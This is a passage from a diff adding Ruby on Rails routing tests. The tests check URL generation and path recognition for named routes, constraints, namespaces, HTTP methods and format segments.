+ assert_equal '/page/' + escaped_token, url_for(rs, { :controller => 'content', :action => 'show_page', :id => token })
+ assert_equal({ :controller => "content", :action => 'show_page', :id => token }, rs.recognize_path("/page/#{escaped_token}"))
+ end
+
+ def test_action_expiry
+ rs.draw { get ':controller(/:action(/:id))' }
+ assert_equal '/content', url_for(rs, { :controller => 'content' }, { :controller => 'content', :action => 'show' })
+ end
+
+ def test_requirement_should_prevent_optional_id
+ rs.draw do
+ get 'post/:id' => 'post#show', :constraints => {:id => /\d+/}, :as => 'post'
+ end
+
+ assert_equal '/post/10', url_for(rs, { :controller => 'post', :action => 'show', :id => 10 })
+
+ assert_raise(ActionController::UrlGenerationError) do
+ url_for(rs, { :controller => 'post', :action => 'show' })
+ end
+ end
+
+ def test_both_requirement_and_optional
+ rs.draw do
+ get('test(/:year)' => 'post#show', :as => 'blog',
+ :defaults => { :year => nil },
+ :constraints => { :year => /\d{4}/ }
+ )
+ get ':controller/:action/:id'
+ end
+
+ assert_equal '/test', url_for(rs, { :controller => 'post', :action => 'show' })
+ assert_equal '/test', url_for(rs, { :controller => 'post', :action => 'show', :year => nil })
+
+ assert_equal("http://test.host/test", setup_for_named_route.send(:blog_url))
+ end
+
+ def test_set_to_nil_forgets
+ rs.draw do
+ get 'pages(/:year(/:month(/:day)))' => 'content#list_pages', :month => nil, :day => nil
+ get ':controller/:action/:id'
+ end
+
+ assert_equal '/pages/2005',
+ url_for(rs, { :controller => 'content', :action => 'list_pages', :year => 2005 })
+ assert_equal '/pages/2005/6',
+ url_for(rs, { :controller => 'content', :action => 'list_pages', :year => 2005, :month => 6 })
+ assert_equal '/pages/2005/6/12',
+ url_for(rs, { :controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12 })
+
+ assert_equal '/pages/2005/6/4',
+ url_for(rs, { :day => 4 }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+
+ assert_equal '/pages/2005/6',
+ url_for(rs, { :day => nil }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+
+ assert_equal '/pages/2005',
+ url_for(rs, { :day => nil, :month => nil }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+ end
+
+ def test_root_url_generation_with_controller_and_action
+ rs.draw do
+ root :to => "content#index"
+ end
+
+ assert_equal '/', url_for(rs, { :controller => 'content', :action => 'index' })
+ assert_equal '/', url_for(rs, { :controller => 'content' })
+ end
+
+ def test_named_root_url_generation_with_controller_and_action
+ rs.draw do
+ root :to => "content#index", :as => 'home'
+ end
+
+ assert_equal '/', url_for(rs, { :controller => 'content', :action => 'index' })
+ assert_equal '/', url_for(rs, { :controller => 'content' })
+
+ assert_equal("http://test.host/", setup_for_named_route.send(:home_url))
+ end
+
+ def test_named_route_method
+ rs.draw do
+ get 'categories' => 'content#categories', :as => 'categories'
+ get ':controller(/:action(/:id))'
+ end
+
+ assert_equal '/categories', url_for(rs, { :controller => 'content', :action => 'categories' })
+ assert_equal '/content/hi', url_for(rs, { :controller => 'content', :action => 'hi' })
+ end
+
+ def test_named_routes_array
+ test_named_route_method
+ assert_equal [:categories], rs.named_routes.names
+ end
+
+ def test_nil_defaults
+ rs.draw do
+ get 'journal' => 'content#list_journal',
+ :date => nil, :user_id => nil
+ get ':controller/:action/:id'
+ end
+
+ assert_equal '/journal', url_for(rs, {
+ :controller => 'content',
+ :action => 'list_journal',
+ :date => nil,
+ :user_id => nil
+ })
+ end
+
+ def setup_request_method_routes_for(method)
+ rs.draw do
+ match '/match' => "books##{method}", :via => method.to_sym
+ end
+ end
+
+ %w(GET PATCH POST PUT DELETE).each do |request_method|
+ define_method("test_request_method_recognized_with_#{request_method}") do
+ setup_request_method_routes_for(request_method.downcase)
+ params = rs.recognize_path("/match", :method => request_method)
+ assert_equal request_method.downcase, params[:action]
+ end
+ end
+
+ def test_recognize_array_of_methods
+ rs.draw do
+ match '/match' => 'books#get_or_post', :via => [:get, :post]
+ put '/match' => 'books#not_get_or_post'
+ end
+
+ params = rs.recognize_path("/match", :method => :post)
+ assert_equal 'get_or_post', params[:action]
+
+ params = rs.recognize_path("/match", :method => :put)
+ assert_equal 'not_get_or_post', params[:action]
+ end
+
+ def test_subpath_recognized
+ rs.draw do
+ get '/books/:id/edit' => 'subpath_books#edit'
+ get '/items/:id/:action' => 'subpath_books'
+ get '/posts/new/:action' => 'subpath_books'
+ get '/posts/:id' => 'subpath_books#show'
+ end
+
+ hash = rs.recognize_path "/books/17/edit"
+ assert_not_nil hash
+ assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
+
+ hash = rs.recognize_path "/items/3/complete"
+ assert_not_nil hash
+ assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
+
+ hash = rs.recognize_path "/posts/new/preview"
+ assert_not_nil hash
+ assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
+
+ hash = rs.recognize_path "/posts/7"
+ assert_not_nil hash
+ assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
+ end
+
+ def test_subpath_generated
+ rs.draw do
+ get '/books/:id/edit' => 'subpath_books#edit'
+ get '/items/:id/:action' => 'subpath_books'
+ get '/posts/new/:action' => 'subpath_books'
+ end
+
+ assert_equal "/books/7/edit", url_for(rs, { :controller => "subpath_books", :id => 7, :action => "edit" })
+ assert_equal "/items/15/complete", url_for(rs, { :controller => "subpath_books", :id => 15, :action => "complete" })
+ assert_equal "/posts/new/preview", url_for(rs, { :controller => "subpath_books", :action => "preview" })
+ end
+
+ def test_failed_constraints_raises_exception_with_violated_constraints
+ rs.draw do
+ get 'foos/:id' => 'foos#show', :as => 'foo_with_requirement', :constraints => { :id => /\d+/ }
+ end
+
+ assert_raise(ActionController::UrlGenerationError) do
+ setup_for_named_route.send(:foo_with_requirement_url, "I am Against the constraints")
+ end
+ end
+
+ def test_routes_changed_correctly_after_clear
+ rs = ::ActionDispatch::Routing::RouteSet.new
+ rs.draw do
+ get 'ca' => 'ca#aa'
+ get 'cb' => 'cb#ab'
+ get 'cc' => 'cc#ac'
+ get ':controller/:action/:id'
+ get ':controller/:action/:id.:format'
+ end
+
+ hash = rs.recognize_path "/cc"
+
+ assert_not_nil hash
+ assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+
+ rs.draw do
+ get 'cb' => 'cb#ab'
+ get 'cc' => 'cc#ac'
+ get ':controller/:action/:id'
+ get ':controller/:action/:id.:format'
+ end
+
+ hash = rs.recognize_path "/cc"
+
+ assert_not_nil hash
+ assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+ end
+end
+
+class RouteSetTest < ActiveSupport::TestCase
+ include RoutingTestHelpers
+
+ def set
+ @set ||= ROUTING::RouteSet.new
+ end
+
+ def request
+ @request ||= ActionController::TestRequest.new
+ end
+
+ def default_route_set
+ @default_route_set ||= begin
+ set = ROUTING::RouteSet.new
+ set.draw do
+ get '/:controller(/:action(/:id))'
+ end
+ set
+ end
+ end
+
+ def test_generate_extras
+ set.draw { get ':controller/(:action(/:id))' }
+ path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal "/foo/bar/15", path
+ assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ end
+
+ def test_extra_keys
+ set.draw { get ':controller/:action/:id' }
+ extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ end
+
+ def test_generate_extras_not_first
+ set.draw do
+ get ':controller/:action/:id.:format'
+ get ':controller/:action/:id'
+ end
+ path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal "/foo/bar/15", path
+ assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ end
+
+ def test_generate_not_first
+ set.draw do
+ get ':controller/:action/:id.:format'
+ get ':controller/:action/:id'
+ end
+ assert_equal "/foo/bar/15?this=hello",
+ url_for(set, { :controller => "foo", :action => "bar", :id => 15, :this => "hello" })
+ end
+
+ def test_extra_keys_not_first
+ set.draw do
+ get ':controller/:action/:id.:format'
+ get ':controller/:action/:id'
+ end
+ extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ end
+
+ def test_draw
+ assert_equal 0, set.routes.size
+ set.draw do
+ get '/hello/world' => 'a#b'
+ end
+ assert_equal 1, set.routes.size
+ end
+
+ def test_draw_symbol_controller_name
+ assert_equal 0, set.routes.size
+ set.draw do
+ get '/users/index' => 'users#index'
+ end
+ set.recognize_path('/users/index', :method => :get)
+ assert_equal 1, set.routes.size
+ end
+
+ def test_named_draw
+ assert_equal 0, set.routes.size
+ set.draw do
+ get '/hello/world' => 'a#b', :as => 'hello'
+ end
+ assert_equal 1, set.routes.size
+ assert_equal set.routes.first, set.named_routes[:hello]
+ end
+
+ def test_duplicate_named_route_raises_rather_than_pick_precedence
+ assert_raise ArgumentError do
+ set.draw do
+ get '/hello/world' => 'a#b', :as => 'hello'
+ get '/hello' => 'a#b', :as => 'hello'
+ end
+ end
+ end
+
+ def setup_named_route_test
+ set.draw do
+ get '/people(/:id)' => 'people#show', :as => 'show'
+ get '/people' => 'people#index', :as => 'index'
+ get '/people/go/:foo/:bar/joe(/:id)' => 'people#multi', :as => 'multi'
+ get '/admin/users' => 'admin/users#index', :as => "users"
+ end
+
+ MockController.build(set.url_helpers).new
+ end
+
+ def test_named_route_url_method
+ controller = setup_named_route_test
+
+ assert_equal "http://test.host/people/5", controller.send(:show_url, :id => 5)
+ assert_equal "/people/5", controller.send(:show_path, :id => 5)
+
+ assert_equal "http://test.host/people", controller.send(:index_url)
+ assert_equal "/people", controller.send(:index_path)
+
+ assert_equal "http://test.host/admin/users", controller.send(:users_url)
+ assert_equal '/admin/users', controller.send(:users_path)
+ end
+
+ def test_named_route_url_method_with_anchor
+ controller = setup_named_route_test
+
+ assert_equal "http://test.host/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
+ assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
+
+ assert_equal "http://test.host/people#location", controller.send(:index_url, :anchor => 'location')
+ assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
+
+ assert_equal "http://test.host/admin/users#location", controller.send(:users_url, :anchor => 'location')
+ assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
+
+ assert_equal "http://test.host/people/go/7/hello/joe/5#location",
+ controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
+
+ assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
+ controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
+
+ assert_equal "http://test.host/people?baz=bar#location",
+ controller.send(:index_url, :baz => "bar", :anchor => 'location')
+ end
+
+ def test_named_route_url_method_with_port
+ controller = setup_named_route_test
+ assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, :port=>8080)
+ end
+
+ def test_named_route_url_method_with_host
+ controller = setup_named_route_test
+ assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
+ end
+
+ def test_named_route_url_method_with_protocol
+ controller = setup_named_route_test
+ assert_equal "https://test.host/people/5", controller.send(:show_url, 5, :protocol => "https")
+ end
+
+ def test_named_route_url_method_with_ordered_parameters
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people/go/7/hello/joe/5",
+ controller.send(:multi_url, 7, "hello", 5)
+ end
+
+ def test_named_route_url_method_with_ordered_parameters_and_hash
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
+ controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
+ end
+
+ def test_named_route_url_method_with_ordered_parameters_and_empty_hash
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people/go/7/hello/joe/5",
+ controller.send(:multi_url, 7, "hello", 5, {})
+ end
+
+ def test_named_route_url_method_with_no_positional_arguments
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people?baz=bar",
+ controller.send(:index_url, :baz => "bar")
+ end
+
+ def test_draw_default_route
+ set.draw do
+ get '/:controller/:action/:id'
+ end
+
+ assert_equal 1, set.routes.size
+
+ assert_equal '/users/show/10', url_for(set, { :controller => 'users', :action => 'show', :id => 10 })
+ assert_equal '/users/index/10', url_for(set, { :controller => 'users', :id => 10 })
+
+ assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
+ assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
+ end
+
+ def test_route_with_parameter_shell
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /\d+/
+ get '/:controller(/:action(/:id))'
+ end
+
+ assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
+ assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
+ assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
+
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+ end
+
+ def test_route_constraints_on_request_object_with_anchors_are_valid
+ assert_nothing_raised do
+ set.draw do
+ get 'page/:id' => 'pages#show', :constraints => { :host => /^foo$/ }
+ end
+ end
+ end
+
+ def test_route_constraints_with_anchor_chars_are_invalid
+ assert_raise ArgumentError do
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /^\d+/
+ end
+ end
+ assert_raise ArgumentError do
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /\A\d+/
+ end
+ end
+ assert_raise ArgumentError do
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /\d+$/
+ end
+ end
+ assert_raise ArgumentError do
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /\d+\Z/
+ end
+ end
+ assert_raise ArgumentError do
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /\d+\z/
+ end
+ end
+ end
+
+ def test_route_constraints_with_options_method_condition_is_valid
+ assert_nothing_raised do
+ set.draw do
+ match 'valid/route' => 'pages#show', :via => :options
+ end
+ end
+ end
+
+ def test_route_error_with_missing_controller
+ set.draw do
+ get "/people" => "missing#index"
+ end
+
+ assert_raise(ActionController::RoutingError) {
+ set.recognize_path("/people", :method => :get)
+ }
+ end
+
+ def test_recognize_with_encoded_id_and_regex
+ set.draw do
+ get 'page/:id' => 'pages#show', :id => /[a-zA-Z0-9\+]+/
+ end
+
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
+ end
+
+ def test_recognize_with_http_methods
+ set.draw do
+ get "/people" => "people#index", :as => "people"
+ post "/people" => "people#create"
+ get "/people/:id" => "people#show", :as => "person"
+ put "/people/:id" => "people#update"
+ patch "/people/:id" => "people#update"
+ delete "/people/:id" => "people#destroy"
+ end
+
+ params = set.recognize_path("/people", :method => :get)
+ assert_equal("index", params[:action])
+
+ params = set.recognize_path("/people", :method => :post)
+ assert_equal("create", params[:action])
+
+ params = set.recognize_path("/people/5", :method => :put)
+ assert_equal("update", params[:action])
+
+ params = set.recognize_path("/people/5", :method => :patch)
+ assert_equal("update", params[:action])
+
+ assert_raise(ActionController::UnknownHttpMethod) {
+ set.recognize_path("/people", :method => :bacon)
+ }
+
+ params = set.recognize_path("/people/5", :method => :get)
+ assert_equal("show", params[:action])
+ assert_equal("5", params[:id])
+
+ params = set.recognize_path("/people/5", :method => :put)
+ assert_equal("update", params[:action])
+ assert_equal("5", params[:id])
+
+ params = set.recognize_path("/people/5", :method => :patch)
+ assert_equal("update", params[:action])
+ assert_equal("5", params[:id])
+
+ params = set.recognize_path("/people/5", :method => :delete)
+ assert_equal("destroy", params[:action])
+ assert_equal("5", params[:id])
+
+ assert_raise(ActionController::RoutingError) {
+ set.recognize_path("/people/5", :method => :post)
+ }
+ end
+
+ def test_recognize_with_alias_in_conditions
+ set.draw do
+ match "/people" => 'people#index', :as => 'people', :via => :get
+ root :to => "people#index"
+ end
+
+ params = set.recognize_path("/people", :method => :get)
+ assert_equal("people", params[:controller])
+ assert_equal("index", params[:action])
+
+ params = set.recognize_path("/", :method => :get)
+ assert_equal("people", params[:controller])
+ assert_equal("index", params[:action])
+ end
+
+ def test_typo_recognition
+ set.draw do
+ get 'articles/:year/:month/:day/:title' => 'articles#permalink',
+ :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
+ end
+
+ params = set.recognize_path("/articles/2005/11/05/a-very-interesting-article", :method => :get)
+ assert_equal("permalink", params[:action])
+ assert_equal("2005", params[:year])
+ assert_equal("11", params[:month])
+ assert_equal("05", params[:day])
+ assert_equal("a-very-interesting-article", params[:title])
+ end
+
+ def test_routing_traversal_does_not_load_extra_classes
+ assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+ set.draw do
+ get '/profile' => 'profile#index'
+ end
+
+ set.recognize_path("/profile") rescue nil
+
+ assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+ end
+
+ def test_recognize_with_conditions_and_format
+ set.draw do
+ get "people/:id" => "people#show", :as => "person"
+ put "people/:id" => "people#update"
+ patch "people/:id" => "people#update"
+ get "people/:id(.:format)" => "people#show"
+ end
+
+ params = set.recognize_path("/people/5", :method => :get)
+ assert_equal("show", params[:action])
+ assert_equal("5", params[:id])
+
+ params = set.recognize_path("/people/5", :method => :put)
+ assert_equal("update", params[:action])
+
+ params = set.recognize_path("/people/5", :method => :patch)
+ assert_equal("update", params[:action])
+
+ params = set.recognize_path("/people/5.png", :method => :get)
+ assert_equal("show", params[:action])
+ assert_equal("5", params[:id])
+ assert_equal("png", params[:format])
+ end
+
+ def test_generate_with_default_action
+ set.draw do
+ get "/people", :controller => "people", :action => "index"
+ get "/people/list", :controller => "people", :action => "list"
+ end
+
+ url = url_for(set, { :controller => "people", :action => "list" })
+ assert_equal "/people/list", url
+ end
+
+ def test_root_map
+ set.draw { root :to => 'people#index' }
+
+ params = set.recognize_path("", :method => :get)
+ assert_equal("people", params[:controller])
+ assert_equal("index", params[:action])
+ end
+
+ def test_namespace
+ set.draw do
+
+ namespace 'api' do
+ get 'inventory' => 'products#inventory'
+ end
+
+ end
+
+ params = set.recognize_path("/api/inventory", :method => :get)
+ assert_equal("api/products", params[:controller])
+ assert_equal("inventory", params[:action])
+ end
+
+ def test_namespaced_root_map
+ set.draw do
+ namespace 'api' do
+ root :to => 'products#index'
+ end
+ end
+
+ params = set.recognize_path("/api", :method => :get)
+ assert_equal("api/products", params[:controller])
+ assert_equal("index", params[:action])
+ end
+
+ def test_namespace_with_path_prefix
+ set.draw do
+ scope :module => "api", :path => "prefix" do
+ get 'inventory' => 'products#inventory'
+ end
+ end
+
+ params = set.recognize_path("/prefix/inventory", :method => :get)
+ assert_equal("api/products", params[:controller])
+ assert_equal("inventory", params[:action])
+ end
+
+ def test_namespace_with_blank_path_prefix
+ set.draw do
+ scope :module => "api", :path => "" do
+ get 'inventory' => 'products#inventory'
+ end
+ end
+
+ params = set.recognize_path("/inventory", :method => :get)
+ assert_equal("api/products", params[:controller])
+ assert_equal("inventory", params[:action])
+ end
+
+ def test_generate_changes_controller_module
+ set.draw { get ':controller/:action/:id' }
+ current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
+
+ assert_equal "/foo/bar/baz/7",
+ url_for(set, { :controller => "foo/bar", :action => "baz", :id => 7 }, current)
+ end
+
+ def test_id_is_sticky_when_it_ought_to_be
+ set.draw do
+ get ':controller/:id/:action'
+ end
+
+ url = url_for(set, { :action => "destroy" }, { :controller => "people", :action => "show", :id => "7" })
+ assert_equal "/people/7/destroy", url
+ end
+
+ def test_use_static_path_when_possible
+ set.draw do
+ get 'about' => "welcome#about"
+ get ':controller/:action/:id'
+ end
+
+ url = url_for(set, { :controller => "welcome", :action => "about" },
+ { :controller => "welcome", :action => "get", :id => "7" })
+
+ assert_equal "/about", url
+ end
+
+ def test_generate
+ set.draw { get ':controller/:action/:id' }
+
+ args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+ assert_equal "/foo/bar/7?x=y", url_for(set, args)
+ assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
+ assert_equal [:x], set.extra_keys(args)
+ end
+
+ def test_generate_with_path_prefix
+ set.draw do
+ scope "my" do
+ get ':controller(/:action(/:id))'
+ end
+ end
+
+ args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+ assert_equal "/my/foo/bar/7?x=y", url_for(set, args)
+ end
+
+ def test_generate_with_blank_path_prefix
+ set.draw do
+ scope "" do
+ get ':controller(/:action(/:id))'
+ end
+ end
+
+ args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+ assert_equal "/foo/bar/7?x=y", url_for(set, args)
+ end
+
+ def test_named_routes_are_never_relative_to_modules
+ set.draw do
+ get "/connection/manage(/:action)" => 'connection/manage#index'
+ get "/connection/connection" => "connection/connection#index"
+ get '/connection' => 'connection#index', :as => 'family_connection'
+ end
+
+ url = url_for(set, { :controller => "connection" }, { :controller => 'connection/manage' })
+ assert_equal "/connection/connection", url
+
+ url = url_for(set, { :use_route => :family_connection, :controller => "connection" }, { :controller => 'connection/manage' })
+ assert_equal "/connection", url
+ end
+
+ def test_action_left_off_when_id_is_recalled
+ set.draw do
+ get ':controller(/:action(/:id))'
+ end
+ assert_equal '/books', url_for(set,
+ {:controller => 'books', :action => 'index'},
+ {:controller => 'books', :action => 'show', :id => '10'}
+ )
+ end
+
+ def test_query_params_will_be_shown_when_recalled
+ set.draw do
+ get 'show_weblog/:parameter' => 'weblog#show'
+ get ':controller(/:action(/:id))'
+ end
+ assert_equal '/weblog/edit?parameter=1', url_for(set,
+ {:action => 'edit', :parameter => 1},
+ {:controller => 'weblog', :action => 'show', :parameter => 1}
+ )
+ end
+
+ def test_format_is_not_inherit
+ set.draw do
+ get '/posts(.:format)' => 'posts#index'
+ end
+
+ assert_equal '/posts', url_for(set,
+ {:controller => 'posts'},
+ {:controller => 'posts', :action => 'index', :format => 'xml'}
+ )
+
+ assert_equal '/posts.xml', url_for(set,
+ {:controller => 'posts', :format => 'xml'},
+ {:controller => 'posts', :action => 'index', :format => 'xml'}
+ )
+ end
+
+ def test_expiry_determination_should_consider_values_with_to_param
+ set.draw { get 'projects/:project_id/:controller/:action' }
+ assert_equal '/projects/1/weblog/show', url_for(set,
+ { :action => 'show', :project_id => 1 },
+ { :controller => 'weblog', :action => 'show', :project_id => '1' })
+ end
+
+ def test_named_route_in_nested_resource
+ set.draw do
+ resources :projects do
+ member do
+ get 'milestones' => 'milestones#index', :as => 'milestones'
+ end
+ end
+ end
+
+ params = set.recognize_path("/projects/1/milestones", :method => :get)
+ assert_equal("milestones", params[:controller])
+ assert_equal("index", params[:action])
+ end
+
+ def test_setting_root_in_namespace_using_symbol
+ assert_nothing_raised do
+ set.draw do
+ namespace :admin do
+ root :to => "home#index"
+ end
+ end
+ end
+ end
+
+ def test_setting_root_in_namespace_using_string
+ assert_nothing_raised do
+ set.draw do
+ namespace 'admin' do
+ root :to => "home#index"
+ end
+ end
+ end
+ end
+
+ def test_route_constraints_with_unsupported_regexp_options_must_error
+ assert_raise ArgumentError do
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => { :name => /(david|jamis)/m }
+ end
+ end
+ end
+
+ def test_route_constraints_with_supported_options_must_not_error
+ assert_nothing_raised do
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => { :name => /(david|jamis)/i }
+ end
+ end
+ assert_nothing_raised do
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => { :name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/x }
+ end
+ end
+ end
+
+ def test_route_with_subdomain_and_constraints_must_receive_params
+ name_param = nil
+ set.draw do
+ get 'page/:name' => 'pages#show', :constraints => lambda {|request|
+ name_param = request.params[:name]
+ return true
+ }
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'mypage'},
+ set.recognize_path('http://subdomain.example.org/page/mypage'))
+ assert_equal(name_param, 'mypage')
+ end
+
+ def test_route_requirement_recognize_with_ignore_case
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => {:name => /(david|jamis)/i}
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+ assert_raise ActionController::RoutingError do
+ set.recognize_path('/page/davidjamis')
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
+ end
+
+ def test_route_requirement_generate_with_ignore_case
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => {:name => /(david|jamis)/i}
+ end
+
+ url = url_for(set, { :controller => 'pages', :action => 'show', :name => 'david' })
+ assert_equal "/page/david", url
+ assert_raise(ActionController::UrlGenerationError) do
+ url_for(set, { :controller => 'pages', :action => 'show', :name => 'davidjamis' })
+ end
+ url = url_for(set, { :controller => 'pages', :action => 'show', :name => 'JAMIS' })
+ assert_equal "/page/JAMIS", url
+ end
+
+ def test_route_requirement_recognize_with_extended_syntax
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => {:name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/x}
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
+ assert_raise ActionController::RoutingError do
+ set.recognize_path('/page/david #The Creator')
+ end
+ assert_raise ActionController::RoutingError do
+ set.recognize_path('/page/David')
+ end
+ end
+
+ def test_route_requirement_with_xi_modifiers
+ set.draw do
+ get 'page/:name' => 'pages#show',
+ :constraints => {:name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/xi}
+ end
+
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'},
+ set.recognize_path('/page/JAMIS'))
+
+ assert_equal "/page/JAMIS",
+ url_for(set, { :controller => 'pages', :action => 'show', :name => 'JAMIS' })
+ end
+
+ def test_routes_with_symbols
+ set.draw do
+ get 'unnamed', :controller => :pages, :action => :show, :name => :as_symbol
+ get 'named' , :controller => :pages, :action => :show, :name => :as_symbol, :as => :named
+ end
+ assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/unnamed'))
+ assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/named'))
+ end
+
+ def test_regexp_chunk_should_add_question_mark_for_optionals
+ set.draw do
+ get '/' => 'foo#index'
+ get '/hello' => 'bar#index'
+ end
+
+ assert_equal '/', url_for(set, { :controller => 'foo' })
+ assert_equal '/hello', url_for(set, { :controller => 'bar' })
+
+ assert_equal({:controller => "foo", :action => "index"}, set.recognize_path('/'))
+ assert_equal({:controller => "bar", :action => "index"}, set.recognize_path('/hello'))
+ end
+
+ def test_assign_route_options_with_anchor_chars
+ set.draw do
+ get '/cars/:action/:person/:car/', :controller => 'cars'
+ end
+
+ assert_equal '/cars/buy/1/2', url_for(set, { :controller => 'cars', :action => 'buy', :person => '1', :car => '2' })
+
+ assert_equal({:controller => "cars", :action => "buy", :person => "1", :car => "2"}, set.recognize_path('/cars/buy/1/2'))
+ end
+
+ def test_segmentation_of_dot_path
+ set.draw do
+ get '/books/:action.rss', :controller => 'books'
+ end
+
+ assert_equal '/books/list.rss', url_for(set, { :controller => 'books', :action => 'list' })
+
+ assert_equal({:controller => "books", :action => "list"}, set.recognize_path('/books/list.rss'))
+ end
+
+ def test_segmentation_of_dynamic_dot_path
+ set.draw do
+ get '/books(/:action(.:format))', :controller => 'books'
+ end
+
+ assert_equal '/books/list.rss', url_for(set, { :controller => 'books', :action => 'list', :format => 'rss' })
+ assert_equal '/books/list.xml', url_for(set, { :controller => 'books', :action => 'list', :format => 'xml' })
+ assert_equal '/books/list', url_for(set, { :controller => 'books', :action => 'list' })
+ assert_equal '/books', url_for(set, { :controller => 'books', :action => 'index' })
+
+ assert_equal({:controller => "books", :action => "list", :format => "rss"}, set.recognize_path('/books/list.rss'))
+ assert_equal({:controller => "books", :action => "list", :format => "xml"}, set.recognize_path('/books/list.xml'))
+ assert_equal({:controller => "books", :action => "list"}, set.recognize_path('/books/list'))
+ assert_equal({:controller => "books", :action => "index"}, set.recognize_path('/books'))
+ end
+
+ def test_slashes_are_implied
+ @set = nil
+ set.draw { get("/:controller(/:action(/:id))") }
+
+ assert_equal '/content', url_for(set, { :controller => 'content', :action => 'index' })
+ assert_equal '/content/list', url_for(set, { :controller => 'content', :action => 'list' })
+ assert_equal '/content/show/1', url_for(set, { :controller => 'content', :action => 'show', :id => '1' })
+
+ assert_equal({:controller => "content", :action => "index"}, set.recognize_path('/content'))
+ assert_equal({:controller => "content", :action => "index"}, set.recognize_path('/content/index'))
+ assert_equal({:controller => "content", :action => "list"}, set.recognize_path('/content/list'))
+ assert_equal({:controller => "content", :action => "show", :id => "1"}, set.recognize_path('/content/show/1'))
+ end
+
+ def test_default_route_recognition
+ expected = {:controller => 'pages', :action => 'show', :id => '10'}
+ assert_equal expected, default_route_set.recognize_path('/pages/show/10')
+ assert_equal expected, default_route_set.recognize_path('/pages/show/10/')
+
+ expected[:id] = 'jamis'
